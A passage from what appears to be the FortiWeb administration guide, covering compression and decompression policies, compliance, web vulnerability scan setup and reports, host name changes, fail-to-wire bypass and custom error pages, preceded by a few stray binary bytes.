^@^@^@掬<80>,^@^@ <EF><D7><EF>6^D<D8><D7>7<F3><E1><F5>^B^@^@x^@^?^D<F8><E4><9D>
```

(content truncated)

If want to gain the benefits that compression offers, but do not want to configure it on your web servers, you can offload compression to FortiWeb instead.



If your web servers are starved for CPU cycles and RAM, offloading compression from your web servers to FortiWeb can alleviate that bottleneck and improve performance.

Based upon the HTTP `Content-Type`: headers that you select (which correspond to Internet file type/MIME type categories such as images and XML), FortiWeb will compress matching responses. The total size of a large web page with lengthy JavaScripts and CSS, while in transit, could be many times smaller.



The maximum pre-compressed file size that FortiWeb can compress is 128 KB. Files larger than that limit will be transmitted **without** compression.

For example, a typical web page is comprised of several responses, such as an HTML document:

```
Content-Type: text/html
```

perhaps several images:

```
Content-Type: image/png
```

and a JavaScript:

```
Content-Type: text/javascript
```

If your protected web servers do **not** already apply compression, and you configure a compression policy for `text/html` and `text/javascript`, those typically lengthy and repetitive text-based documents can be efficiently compressed into much smaller responses. If bandwidth between server and client is the performance bottleneck, this could improve performance dramatically.

Not all HTTP clients support compression: RPC clients, for example, transmit binary data and do not support compression. For those host names and/or URLs, you should create exceptions.

To configure a file compression policy

1. Before you configure file compression, configure the exceptions, if any. For details, see ["Configuring compression/decompression exemptions"](#) on page 644.



If your web servers are already configured to compress responses, you should either disable compression on the server, or configure exceptions for URLs hosted by that server. Otherwise, in some cases, FortiWeb might expend resources compressing responses that have already been compressed by the server. This can cause performance to **decrease** instead of increase.

2. Go to **Application Delivery > Compression** and select the **File Compress Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.
4. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
5. From **Exclusion URL**, you can select an existing exclusion. For details, see ["Configuring compression/decompression exemptions"](#) on page 644.

Optionally, select an exclusion and click the **Detail** link. The exclusion dialog appears. You can view and edit the exclusion. Use the browser **Back** button to return.
6. Click **OK**.
7. To add or remove a content type, click **Create New**.
8. In the **Content Types** list, select the content types that you want to compress, then click the right arrow (->) to move them to the **Allow Types** list.

For external JavaScripts, content type strings vary. If you are unsure of the content type string, for maximum coverage, select all JavaScript content type strings. However, due to wide browser compatibility, despite its current deprecated status, many web servers use `text/javascript`.



These apply compression only to JavaScripts that are **external** to a web page — that is, not directly embedded in a `<script>` tag or inline in the HTML document itself, but instead included via reference to a JavaScript file, such as `<script src="/nav/menu.js">`, and therefore are contained in a separate HTTP response from the HTML document. Likewise, selecting the `text/css` content type for compression will only compress external CSS. It will **not** compress CSS embedded directly within the HTML file. (Embedded CSS or JavaScript are governed by `Content-Type: text/html` instead.)

9. Click **OK**.
10. To apply the compression policy, select it in an inline protection profile used by a server policy. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

See also

- "Caching" on page 639
- "Sequence of scans" on page 56
- "IPv6 support" on page 60

Configuring temporary decompression for scanning & rewriting

Similar to SSL/TLS inspection, in order for some features to function, you must configure the appliance for compression inspection, or to decompress and then re-compress traffic.

If the HTTP body is compressed, FortiWeb **cannot** parse it for rewriting, nor scan for potential problems such as a data leak or virus. Traffic that is encrypted and/or compressed is not a normalized stream. Bodies of compressed responses effectively have low-grade encryption: they are **not** in clear text, and therefore do not match signatures, and cannot be rewritten.

How, then, can you scan or rewrite compressed traffic?

If your protected web servers compress files themselves (i.e. compression has **not** been offloaded to FortiWeb), configure a FortiWeb decompression policy.

You can configure FortiWeb to temporarily decompress the body of a response based on its file type, which is specified by the HTTP `Content-Type`: header. The appliance can then inspect the traffic. After, if there is no policy-violating content nor rewriting required, the FortiWeb appliance will allow the compressed version of the response to pass. Otherwise, if modification is required, FortiWeb will modify the response before re-compressing it and passing it to the client.

The response headers must include `Content-Encoding: gzip` in order to match the decompression policy. Other compression algorithms are not currently supported.



The maximum compressed file size that FortiWeb can decompress is configured in **Maximum Antivirus Buffer Size** (page 191). By default, files larger than that limit are passed along **without** scanning or modification. **This could allow malware to reach your web servers, and cause HTTP body rewriting to fail.** If you prefer to **block** requests greater than this buffer size, configure **Body Length** (page 574). To be sure that it will not disrupt normal traffic, first configure **Action** (page 576) to be **Alert**. If no problems occur, switch it to **Alert & Deny**.

To configure a decompression policy

1. Configure your web servers to compress their responses.
2. Before you configure the decompression policy, configure the exceptions, if any, that you want it to include. For details, see "Configuring compression/decompression exemptions" on page 644.
3. Go to **Application Delivery > Compression** and select the **File Uncompress Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "Permissions" on page 85.

4. Click **Create New**.

5. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

6. Click **OK**.

7. From **Exclusion URL**, you can select an existing exclusion. For details, see "[Configuring compression/decompression exemptions](#)" on page 644.

Optionally, select an exclusion and click the **Detail** link. The exclusion dialog appears. You can view and edit the exclusion. Use the browser **Back** button to return.

8. To add or remove a content type, click **Create New**.

9. In the **Content Types** list, select the content types that you want to decompress, then click the right arrow to move them to the **Allow Types** list.

For external JavaScripts, content type strings vary. If you are unsure of the content type string, for maximum coverage, select all JavaScript content type strings. However, due to wide browser compatibility, despite its current deprecated status, many web servers use `text/javascript`.



These decompress only JavaScripts that are **external** to a web page—that is, not directly embedded in a `<script>` tag or inline in the HTML document itself, but instead included via reference to a JavaScript file, such as `<script src="/nav/menu.js">`, and therefore are contained in a separate HTTP response from the HTML document. Likewise, selecting the `text/css` content type for compression will only compress external CSS. It will **not** decompress CSS embedded directly within the HTML file. (Embedded CSS or JavaScript are governed by `Content-Type: text/html` instead.)

10. Click **OK**.

11. To apply a decompression policy, select it in an inline or Offline Protection profile used by a server policy. For details, see "[Configuring a protection profile for inline topologies](#)" on page 261 or "[Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)" on page 270.

See also

- "[IPv6 support](#)" on page 60

Compliance

Compliance regimes, whether requires by law or business organizations, typically require that you demonstrate effective security policies and practices.

Requirements vary by the regime. [HIPAA](#) and the Sarbanes-Oxley Act (SOX) emphasize the need for database security, authorization, and the prevention of data leaks. [HITECH](#) requires disclosure of security breaches. [PCI DSS](#) concerns the prevention of information disclosure but also requires periodic scans.

Database security

As the front door to your databases, your websites are critical to secure. FortiWeb can help to apply ad hoc security to them by properly constraining web inputs of all kinds, and by preventing data leaks in your web applications' reply traffic.

If your database has other avenues for input, however, that back door may still be open to attack. Consider a database security specialist such as [FortiDB](#).

Authorization

To ensure that only authenticated individuals can access your websites, and only for the URLs that they are authorized for, you can use FortiWeb to add PKI authentication and/or HTTP authorization.

For instructions, see ["How to apply PKI client authentication \(personal certificates\)"](#) on page 454 and ["Offloading HTTP authentication & authorization"](#) on page 343.

Preventing data leaks

Large companies and organizations often have large stores of personally identifiable information that is valuable on the black market. Often this takes the form of credit card numbers and passwords, but could also be more specialized information such as:

- Addresses and names of your business's clients
- Students' names and ages
- Email addresses
- IT information on your organization's computers and their vulnerabilities

To detect and block accidental data leaks from your web pages, or mitigate an attack that has managed to evade security and is attempting to harvest your databases, you can configure FortiWeb to detect and block those types of data. For instructions, see ["Blocking known attacks & data leaks"](#) on page 505.

If even your logs must not contain sensitive information, you can configure FortiWeb to omit it. For details, see ["Obscuring sensitive data in the logs"](#) on page 699.

Vulnerability scans

You can scan for known vulnerabilities on your web servers and web applications, helping you to design protection profiles that are an effective and efficient use of processing resources.

Vulnerability reports from a certified vendor can help you comply with regulations and certifications that require periodic vulnerability scans, such as Payment Card Industry Data Security Standard (PCI DSS).

Run vulnerability scans during initial FortiWeb deployment **and** any time you are staging a new version of your web applications. You may also be required by your compliance regime to provide reports on a periodic basis, such as quarterly. For details, see ["How to set up your FortiWeb"](#) on page 97.

Each vulnerability scan starts from an initial URL, authenticates if set up to do so, then scans for vulnerabilities in web pages that it crawls to from links on the initial page. After performing the scan, the FortiWeb appliance generates a report from the scan results.

To run a web vulnerability scan

1. Optionally, configure email settings. Email settings included in vulnerability scan profiles cause FortiWeb to email scan reports. For details, see ["Configuring email settings"](#) on page 712.

2. Prepare the staging or development web server for the scan. For details, see ["Preparing for the vulnerability scan"](#) on page 651.
3. Create a scan schedule, unless you plan to execute the scan manually. The schedule defines the frequency the scan will be run. For details, see ["Scheduling web vulnerability scans"](#) on page 652.
4. Create a scan profile. The profile defines which vulnerabilities to scan for. For details, see ["Configuring vulnerability scan settings"](#) on page 653.
5. Create a scan policy. The policy integrates a scan profile and schedule. For details, see ["Running vulnerability scans"](#) on page 657.
6. Either start the vulnerability scan manually, or wait for it to run automatically according to its schedule. For details, see ["Manually starting & stopping a vulnerability scan"](#) on page 659.
7. Examine vulnerability scan report. The report provides details and analysis of the scan results. For details, see ["Viewing vulnerability scan reports"](#) on page 660.

See also

- ["Preparing for the vulnerability scan"](#) on page 651
- ["Running vulnerability scans"](#) on page 657
- ["Configuring vulnerability scan settings"](#) on page 653
- ["Scheduling web vulnerability scans"](#) on page 652
- ["Viewing vulnerability scan reports"](#) on page 660
- ["IPv6 support"](#) on page 60

Preparing for the vulnerability scan

For best results, before running a vulnerability scan, you should prepare the network and target hosts for the vulnerability scan.

Live websites

Fortinet strongly recommends that you do **not** scan for vulnerabilities on live websites. Instead, duplicate the website and its database in a test environment such as a staging server and perform the scan in that environment. For details, see ["Scan Mode"](#) on page 654.

Network accessibility

You may need to configure each target host and any intermediary NAT or firewalls to allow the vulnerability scan to reach the target hosts.

Traffic load & scheduling

You should talk to the owners of target hosts to determine an appropriate time to run the vulnerability scan. You can even schedule in advance the time that the FortiWeb will begin the scan.

For example, you might schedule to avoid peak traffic hours, to restrict unrelated network access, and to ensure that the target hosts will not be powered off during the vulnerability scan.

To determine the current traffic load, see ["HTTP Throughput Monitor widget"](#) on page 683. For scheduling information, see ["Scheduling web vulnerability scans"](#) on page 652.



Rapid access can result in degraded network performance during the scan. If you do not rate limit the vulnerability scan, some web servers could perceive its rapid rate of requests as a denial of service (DoS) attack. You may need to configure the web server to omit rate limiting for connections originating from the IP address of the FortiWeb appliance. Alternatively, you can configure the vulnerability scan to send requests more slowly. For details, see [Delay Between Each Request](#) (page 655).

See also

- ["Configuring vulnerability scan settings"](#) on page 653
- ["Scheduling web vulnerability scans"](#) on page 652
- ["Running vulnerability scans"](#) on page 657
- ["Manually starting & stopping a vulnerability scan"](#) on page 659
- ["Viewing vulnerability scan reports"](#) on page 660

Scheduling web vulnerability scans

Web Vulnerability Scan > Web Vulnerability Scan > Web Vulnerability Schedule enables you to configure vulnerability scan schedules.

A vulnerability scan schedule defines when the scan will automatically begin, and whether the scan is a one-time or periodically recurring event.

To configure a vulnerability scan schedule

1. Go to **Web Vulnerability Scan > Web Vulnerability Scan Schedule**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Vulnerability Scan Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Type	Select the type of schedule: • One Time—Run the vulnerability scan once. • Recurring—Run the vulnerability scan periodically.
Time	Select the time of day to run the scan.
Date	If One Time type is selected, select the date to run the scan. This setting is available only if Type (page 652) is One Time .
Day	If the Recurring type is selected, select the days of the week to run the scan.

This setting is available only if **Type** (page 652) is **Recurring**.

4. Click **OK**.
5. To use the profile, select it in a web vulnerability scan policy. For details, see ["Running vulnerability scans"](#) on page 657.

See also

- ["Preparing for the vulnerability scan"](#) on page 651
- ["Configuring vulnerability scan settings"](#) on page 653
- ["Running vulnerability scans"](#) on page 657
- ["Manually starting & stopping a vulnerability scan"](#) on page 659
- ["Viewing vulnerability scan reports"](#) on page 660

Configuring vulnerability scan settings

Web Vulnerability Scan > Web Vulnerability Scan Profile enables you to configure vulnerability scan profiles.

A vulnerability scan profile defines a web server that you want to scan, as well as the specific vulnerabilities to scan for. Vulnerability scan profiles are used by vulnerability scan policies, which determine when to perform the scan and how to publish the results of the scan defined by the profile.

To configure a vulnerability scan profile

1. If FortiWeb must authenticate in order to reach all URLs that will be involved in the vulnerability scan, configure the web application (if it provides form-based authentication) with an account that FortiWeb can use to log in.



For best results, the account should have permissions to all functionality used by the website. If URLs and inputs vary by account type, you may need to create multiple accounts—one for each non-overlapping set—and run separate vulnerability scans for each account.

2. Go to **Web Vulnerability Scan > Web Vulnerability Profile**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Vulnerability Scan Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.
4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Hostname/IP or URL	Type the fully qualified domain name (FQDN), IP address, or full URL

to indicate which directory of the website you want to scan. Behavior of the scan varies by the type of the entry:

- A FQDN/IP such as `www.example.com`. Assume HTTP and scan the entire website located on this host.
- A partial URL such as `https://webmail.example.com/dir1/`. Use the protocol specified in the URL, and scan the web pages located in this directory of the website. Other directories will be ignored.
- A full URL such as `http://example.com/dir1/start.jsp`. Use the protocol specified in the URL, starting from the web page in the URL, and scan all local URLs reachable via links from this web page that are located within the same subdirectory.

Links to external websites and redirects using HTTP 301 Moved Permanently or 302 Moved Temporarily or Found will not be followed.

Unless you will enter an IP address for the host, you must have configured a DNS server that the FortiWeb appliance can use to query for the FQDN. For details, see ["Configuring DNS settings"](#) on page 185.

Note: This starting point for the scan can be overridden if the web server automatically redirects the request after authentication. For details, see [Login with HTTP Authentication](#) (page 655) and [Login with specified URL/data](#) (page 656).

Scan

Enable detection of any of the following vulnerabilities that you want to include in the scan report:

- Common Web Server Vulnerability (outdated software and software with known memory leaks, buffer overflows, and other problems)
- XSS (Cross-site Scripting)
- SQL Injection
- Source-code Disclosure
- OS Commanding

Scan Mode

Select whether the scan job will use **Basic Mode** (use HTTP GET only and omit both user-defined and predefined sensitive URLs) or **Enhanced Mode** (use both HTTP POST and GET, excluding only user-defined URLs).

Also configure [Exclude scanning following URLs](#) (page 656).

Basic Mode will avoid alterations to the website's databases, but **only** if all inputs always uses POST requests. It also omits testing of the following URLs, which could be sensitive:

- /formathd
- /formatdisk
- /shutdown

- /restart
- /reboot
- /reset

Caution: Fortinet strongly recommends that you do **not** scan for vulnerabilities on live websites, even if you use **Basic Mode**. Instead, duplicate the website and its database into a test environment, and then use **Enhanced Mode** with that test environment.

Basic Mode cannot be guaranteed to be non-destructive. Many websites accept input through HTTP `GET` requests, and so it is possible that a vulnerability scan could result in database changes, even though it does not use `POST`. In addition, **Basic Mode** cannot test for vulnerabilities that are only discoverable through `POST`, and therefore may not find all vulnerabilities.

Request Timeout	Type the number of seconds for the vulnerability scanner to wait for a response from the website before it assumes that the request will not successfully complete, and continues with the next request in the scan. It will not retry requests that time out.
Delay Between Each Request	Type the number of seconds to wait between each request. Some web servers may rate limit the number of requests, or blacklist clients that issue continuous requests and therefore appear to be a website harvester or denial of service (DoS) attacker. Introducing a delay can be useful to prevent the vulnerability scanner from being blacklisted or rate limited, and therefore slow or unable to complete its scan. Note: Increasing the delay will increase the time required to complete the scan.

5. Click **Login Option**'s blue arrow to expand the section, then configure these settings:

Login with HTTP Authentication	Enable to use basic HTTP authentication if the web server returns HTTP 401 <code>Unauthorized</code> to request authorization. Also configure User (page 655) and Password (page 656). Alternatively, configure Login with specified URL/data (page 656). After authentication, if the web server redirects the request (HTTP 302), the FortiWeb appliance will use this new web page as its starting point for the scan, replacing the URL that you configured in Hostname/IP or URL (page 653). Note: If a website requires authentication and you do not configure the vulnerability scan to authenticate, the scan results will be incomplete.
User	Type the user name to provide to the website if it requests HTTP authentication.

Password	Type the password corresponding to the user name.
Login with specified URL/data	Enable to authenticate if the web server does not use HTTP 401 <code>Authorization Required</code>, but instead provides a web page with a form that allows the user to authenticate using HTTP <code>POST</code>. Also configure Authenticate URL (page 656) and Authenticate Data (page 656). After authentication, if the web server redirects the request (HTTP 302 <code>Found</code>), the FortiWeb appliance will use this new web page as its starting point for the scan, replacing the URL that you configured in Hostname/IP or URL (page 653). Note: If a website requires authentication and you do not configure it, the scan results will be incomplete.
Authenticate URL	Type the URL, such as <code>/login.jsp</code> , that the vulnerability scan will use to authenticate with the web application before beginning the scan.
Authenticate Data	Type the parameters, such as <code>userid=admin&password=Re2b8WyUI</code> , that will be accompany the HTTP <code>POST</code> request to the authentication URL, and contains the values necessary to authenticate. Typically, this string will include user name and password parameters, but may contain other variables, depending on the web application.

6. Click **Scan Web Site URLs Option**'s blue arrow to expand the section, then configure these settings:

Crawl entire website automatically	Select this option to automatically follow links leading from the initial starting point that you configured in Hostname/IP or URL (page 653). The vulnerability scanner will stop following links when it has scanned the number of URLs configured in Crawl URLs Limit (page 656). Alternatively, select Specify URLs for scanning (page 656).
Crawl URLs Limit	Type the maximum number of URLs to scan for vulnerabilities while automatically crawling links leading from the initial starting point. Note: The actual number of URLs scanned could exceed this limit if the vulnerability scanner reaches the limit but has not yet finished crawling all links on a page that it has already started to scan.
Specify URLs for scanning	Select this option to manually specify which URLs to scan, such as <code>/login.do</code>, rather than having the vulnerability scanner automatically crawl the website. Enter each URL on a separate line in the text box. You can enter up to 10,000 URLs.
Exclude scanning following URLs	Enable to exclude specific URLs, such as <code>/addItem.cfm</code> , from the vulnerability scan. Enter each URL on a separate line in the text box.

This may be useful to accelerate the scan if you know that some URLs do not need scanning. It could also be useful if you are scanning a live website and wish to prevent the scanner from inadvertently adding information to your databases.

You can enter up to 1,000 URLs.

7. Click **OK**.
8. To use the profile, select it in a web vulnerability scan policy. For details, see [Running vulnerability scans](#) (page 657).

See also

- ["Preparing for the vulnerability scan"](#) on page 651
- ["Scheduling web vulnerability scans"](#) on page 652
- ["Manually starting & stopping a vulnerability scan"](#) on page 659
- ["Viewing vulnerability scan reports"](#) on page 660

Running vulnerability scans

In order to run a vulnerability scan, you must apply a schedule (if any) to a profile of settings, as well as providing a few additional details.

A vulnerability scan policy defines the scheduling type of scan (an immediate scan or a scheduled scan), the profile to use, the file format of the report, and recipients.

To configure a web vulnerability scan policy

1. Configure a vulnerability scan profile. For details, see ["Configuring vulnerability scan settings"](#) on page 653.
2. If the scan will run by a schedule instead of being manually initiated, create a vulnerability scan schedule. For details, see ["Scheduling web vulnerability scans"](#) on page 652.
3. Go to **Web Vulnerability Scan > Web Vulnerability Scan Policy**:

+ Create New Edit Delete					
#	Name	Schedule	Profile	Email Policy	
1	 WVS_Policy1	Run Now	WVS_Profile1		
	Discovered Information:0 Discovered Low Severity Vulnerability:0 Discovered Medium Severity Vulnerability:0 Discovered High Severity Vulnerability:1				
2	 WVS_Policy2	Weekend_Schedule	WVS_Profile2		



 Status
 Start/Stop

Status	Indicates whether the scan is idle (the status indicator is solid green) or running (the status indicator is flashing red and yellow).

Start/Stop

The **Start/Stop** icon appears only if the policy is configured as **Run Now**. If so, the icon changes depending on the current status of the scan:

- **Stop**—The scan associated with the policy is in progress.
- **Start**—The scan associated with the policy is not in progress.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Vulnerability Scan Configuration** category. For details, see ["Permissions"](#) on page 85.

4. Click **Create New**.

5. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Type	Select the scheduling type, either: • Run Now—The scan can be manually started at any time by the user. For details, see "Manually starting & stopping a vulnerability scan" on page 659. • Schedule—The scan is performed according to the schedule defined in Schedule (page 658).
Schedule	Select the predefined schedule to use for the scan. For details, see "Scheduling web vulnerability scans" on page 652. This option appears only if the Type (page 658) is Schedule.
Profile	Select the profile to use when running the vulnerability scan. For details, see "Configuring vulnerability scan settings" on page 653.
Report Format	Enable one or more file formats for the vulnerability scan report: • HTML • MHT (MIME HTML, which can be included in email) • PDF • RTF (Rich Text Format, which can be opened in word processors such as OpenOffice or Microsoft Word) • TXT (plain text)
Email	Select the email settings, if any, to use in order to send results of the vulnerability scan. For details, see "Configuring email settings" on page 712.

6. Click **OK**.

If **Type** (page 658) is **Run Now**, the scan begins immediately. Otherwise, it begins at the time that you configured in **Schedule** (page 658). Time required varies by the network speed and traffic volume, load of the

target hosts (especially the number of request timeouts), and your configuration of **Delay Between Each Request** (page 655).

When the scan is complete, FortiWeb generates a report based on the scan results. For details, see "[Viewing vulnerability scan reports](#)" on page 660.

See also

- "[Preparing for the vulnerability scan](#)" on page 651
- "[Configuring vulnerability scan settings](#)" on page 653
- "[Scheduling web vulnerability scans](#)" on page 652
- "[Manually starting & stopping a vulnerability scan](#)" on page 659

Manually starting & stopping a vulnerability scan

If the schedule type associated with the vulnerability scan policy is set to **Run Now**, You can manually start and stop a scan. You cannot manually start a scan that is scheduled.

To manually start a scan

1. Go to **Web Vulnerability > Scan Web Vulnerability > Scan Policy**.
2. Locate a vulnerability scan whose **Schedule** column says **Run Now** and whose status indicator is idle.
3. In the row for that vulnerability scan, click the **Start** icon.

FortiWeb connects to the target host configured in the profile and, if enabled to do so, authenticates.

A summary of scan results appears in the section hidden by the expansion plus sign (+) in the Name column.

You can view and/or download the full scan report via the web UI. If email settings were selected in the scan, a scan report is also delivered to its recipients. For details, see "[Viewing vulnerability scan reports](#)" on page 660 and "[Downloading vulnerability scan reports](#)" on page 661.

To stop a scan

1. Go to **Web Vulnerability Scan > Web Vulnerability Scan Policy**.
2. Locate a vulnerability scan whose status indicator is is running.
3. In the row for that vulnerability scan, click the **Stop** icon.

The vulnerability scan stops. The status indicator returns to idle. In the **Name** column, you can click the expansion plus sign (+) to view a summary of the scan results to the point where you stopped the scan.

See also

- "[Preparing for the vulnerability scan](#)" on page 651
- "[Configuring vulnerability scan settings](#)" on page 653
- "[Scheduling web vulnerability scans](#)" on page 652
- "[Running vulnerability scans](#)" on page 657
- "[Viewing vulnerability scan reports](#)" on page 660

Viewing vulnerability scan reports

After a web vulnerability scan completes, the FortiWeb appliance generates a report summarizing and analyzing the results of the scan. If you configured it to email the report to you when complete, you may receive the report in your inbox. However, you can also view and download it through the web UI.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Vulnerability Scan Configuration** category. For details, see ["Permissions"](#) on page 85.

Web Vulnerability Scan > Scan History

☐	#	Target Server	URLs Found	Alerts Found	Scan Time	Scan Mode
☐	1	http://www.example.com	323	1	2017-04-13 10:12:00	Enhanced Mode
☐	2	http://www.example.com	323	2	2017-04-12 18:38:00	Enhanced Mode
☐	3	http://www.example.com	0	0	2017-04-13 10:12:00	Enhanced Mode
☐	4	http://www.example.com	323	1	2017-04-12 18:38:00	Enhanced Mode
☐	5	http://www.example.com	323	3	2017-04-12 18:03:00	Enhanced Mode
☐	6	http://www.example.com	0	0	2017-04-12 17:30:00	Enhanced Mode

View	Click to view a scan report. For details, see "Downloading vulnerability scan reports" on page 661.
Download	Click to download a copy of a scan report. For details, see "Downloading vulnerability scan reports" on page 661.
Target Server	Displays the host name of the server that was scanned for vulnerabilities. Click this link to view the scan report associated with this server.
URLs Found	Displays the number of URLs on the target host that were scanned for vulnerabilities.
Alerts Found	Displays the total number of vulnerabilities discovered during the scan.
Scan Time	Displays the date and time that the scan was performed.
Scan Mode	Indicates whether the scan job used Basic Mode (use HTTP <code>GET</code> only and omit both user-defined and predefined sensitive URLs) or Enhanced Mode (use both HTTP <code>POST</code> and <code>GET</code> , excluding only user-defined URLs).

See also


- ["Preparing for the vulnerability scan"](#) on page 651
- ["Configuring vulnerability scan settings"](#) on page 653
- ["Running vulnerability scans"](#) on page 657
- ["Scheduling web vulnerability scans"](#) on page 652
- ["Manually starting & stopping a vulnerability scan"](#) on page 659

Downloading vulnerability scan reports

The report contents are the same when using the **Download** or **View** feature, though the presentation varies.

To download a scan report

1. Go to **Web Vulnerability Scan > Scan History**.
2. Mark the check box next to the scan report that you want to download.



The screenshot shows a table with columns: #, Target Server, URLs Found, Alerts Found, Scan Time, and Scan Mode. There are two rows of data. The first row has a checkbox, #1, Target Server example.com, 0 URLs Found, 0 Alerts Found, Scan Time 2017-04-12 10:23:45, and Scan Mode Enhanced Mode. The second row has a checked checkbox, #2, Target Server example.com, 0 URLs Found, 0 Alerts Found, Scan Time 2017-04-12 10:27:18, and Scan Mode Enhanced Mode. Above the table, there are buttons for Delete, View, and Download. The Download button is circled in red.

	#	Target Server	URLs Found	Alerts Found	Scan Time	Scan Mode
☐	1	example.com	0	0	2017-04-12 10:23:45	Enhanced Mode
☒	2	example.com	0	0	2017-04-12 10:27:18	Enhanced Mode

3. Click **Download**.
4. Click **Download Report File**.
5. Click **Save**.
6. If prompted, select the location on your computer to store the HTML report.

See also

- ["Preparing for the vulnerability scan" on page 651](#)
- ["Configuring vulnerability scan settings" on page 653](#)
- ["Running vulnerability scans" on page 657](#)
- ["Scheduling web vulnerability scans" on page 652](#)
- ["Manually starting & stopping a vulnerability scan" on page 659](#)
- ["Viewing vulnerability scan reports" on page 660](#)

Advanced/optional system settings

The **System** menu configures a variety of settings that apply to the entire FortiWeb appliance.

Many system settings must be configured during the initial installation. **This section only contains optional settings that can be configured later.** For required system settings, see the appropriate section of ["How to set up your FortiWeb"](#) on page 97.

Changing the FortiWeb appliance's host name

The host name of the FortiWeb appliance is used in several places.

- The name appears in the **System Information** widget on **System > Status > Status**. For more information about the **System Information** widget, see ["System Information widget"](#) on page 676.
- It is used in the command prompt of the CLI.
- It is used as the SNMP system name. For information about SNMP, see ["SNMP traps & queries"](#) on page 715.
- FortiWeb uses it as the NAS identifier for communications with a Radius server. For details, see ["Configuring a RADIUS server"](#) on page 351.

The **System Information** widget and the `get system status` CLI command display the full host name. If the host name is longer than 16 characters, the name may be truncated and end with a tilde (~) to indicate that additional characters exist, but are not displayed.

For example, if the host name is FortiWeb1234567890, the CLI prompt would be FortiWeb123456789~#.

Administrators whose access profiles permit **Write** access to items in the **System Configuration** category can change the host name.



You can also configure the local domain name of the FortiWeb appliance. For details, see ["Configuring DNS settings"](#) on page 185.

To change the host name of the FortiWeb appliance

1. Go to **System > Status > Status**.
2. In the **System Information** widget, in the **Host Name** row, click **Change**.
3. In the **New Name** field, type a new host name.

The host name can be up to 35 characters in length. It can include US-ASCII letters, numbers, hyphens, and underscores, but **not** spaces and special characters.

4. Click **OK**.

See also

- ["System Information widget"](#) on page 676

Fail-to-wire for power loss/reboots

If your appliance's hardware model, network cabling, and configuration supports it, you can configure fail-to-wire/bypass behavior. This allows traffic to pass through unfiltered between 2 ports (a link pair) while the FortiWeb appliance is shut down, rebooting, or has unexpectedly lost power such as due to being accidentally unplugged or PSU failure.



Fail-open is supported **only**:

- When the operation mode is True Transparent Proxy, Transparent Inspection, or WCCP
- In standalone mode (**not** HA)
- For a bridge (V-zone) between ports wired to a CP7 processor or other hardware which provides support for fail-to-wire
 - FortiWeb 600D: port1 + port2
 - FortiWeb1000C: port3 + port4
 - FortiWeb 1000D: port3 + port4 or port5 + port6
 - FortiWeb 1000E: port3 + port4 + port5 + port6
 - FortiWeb 2000E: port1 + port2 or port3 + port4
 - FortiWeb3000C/D: port5 + port6
 - FortiWeb3000E/4000E: port9 + port10, port11 + port12, port13 + port14, or port15 + port16
 - FortiWeb 3010E: port3 + port4, port9 + port10, port11 + port12, port13 + port14 or port15 + port16
 - FortiWeb4000C/D: port5 + port6 or port7 + port8
 - FortiWeb3000CFsx/DFsx: port5 + port6 or port7 + port8

FortiWeb-400B/400C, FortiWeb HA clusters, and ports not wired to a CP7/fail-open chip do **not** support fail-to-wire.

In the case of HA, don't use fail-open—instead, use a standby HA appliance to provide full fault tolerance.

Bypass results in degraded security while FortiWeb is shut down, and therefore HA is usually a better solution: it ensures that degraded security does not occur if one of the appliances is shut down. If it is possible that **both** of your HA FortiWeb appliance could simultaneously lose power, you can add an external bypass device such as [FortiBridge](#).

Fail-to-wire may be useful if you are required by contract to provide uninterrupted connectivity, or if you consider connectivity interruption to be a greater risk than being open to attack during the power interruption.

Aside from the usual network topology requirements for the transparent operation modes, there are no special requirements for fail-to-wire. During setup, after setting the operation mode, you will simply go to **System > Network > Fail-open** and select either:

- **PowerOff-Bypass**—Behave as a wire when the FortiWeb appliance is powered off, allowing connections to pass directly through from one port to the other, bypassing all policy scans and modifications.
- **PowerOff-Cutoff**—Interrupt connectivity when the FortiWeb appliance is powered off. Bypass is disabled. This is the default.

See also

- ["Toplogy for either of the transparent modes"](#) on page 106
- ["System Information widget"](#) on page 676
- ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137

Customizing error and authentication pages (replacement messages)

You can customize the following FortiWeb HTML pages:

- Pages that FortiWeb presents to clients when it authenticates users.

FortiWeb uses these pages when the client authentication method in a site publishing configuration is **HTML Form Authentication**. For details, see ["Single sign-on \(SSO\) \(site publishing\)"](#) on page 361.

- The error page FortiWeb uses to respond to a HTTP request that violates a policy and the configured action is **Alert & Deny** or **Period Block**.
- The "Server Unavailable!" page that FortiWeb returns to the client when none of the server pool members are available either because their status is **Disable** or **Maintenance** or they have failed the configured health check.

FortiWeb uses these pages for all server policies. If you require a page content that is customized for a specific policy, create an ADOM that contains the custom pages for that policy.

Attack block page HTTP response codes

You can specify the HTTP response code that the attack block message page displays. If the error status code allows an attacker to fingerprint a vulnerable application, you can customize it to display a more vague reply. (For all other pages, you cannot change the default response code.)

The following codes are examples of HTTP response codes:

- 200—OK. Typically indicates success, and accompanies resource requested by the client.
- 400—Bad Request. Typically indicates wrong syntax.
- 403—Forbidden. Typically indicates inaccessible files.
- 404—File Not Found. Typically indicates missing files.
- 500—Internal Server Error. Typically indicates one of many possible conditions such as a servlet runtime error.
- 501—Not Implemented. Typically indicates a non-existent function on the web application.

Macros in custom error and authentication pages

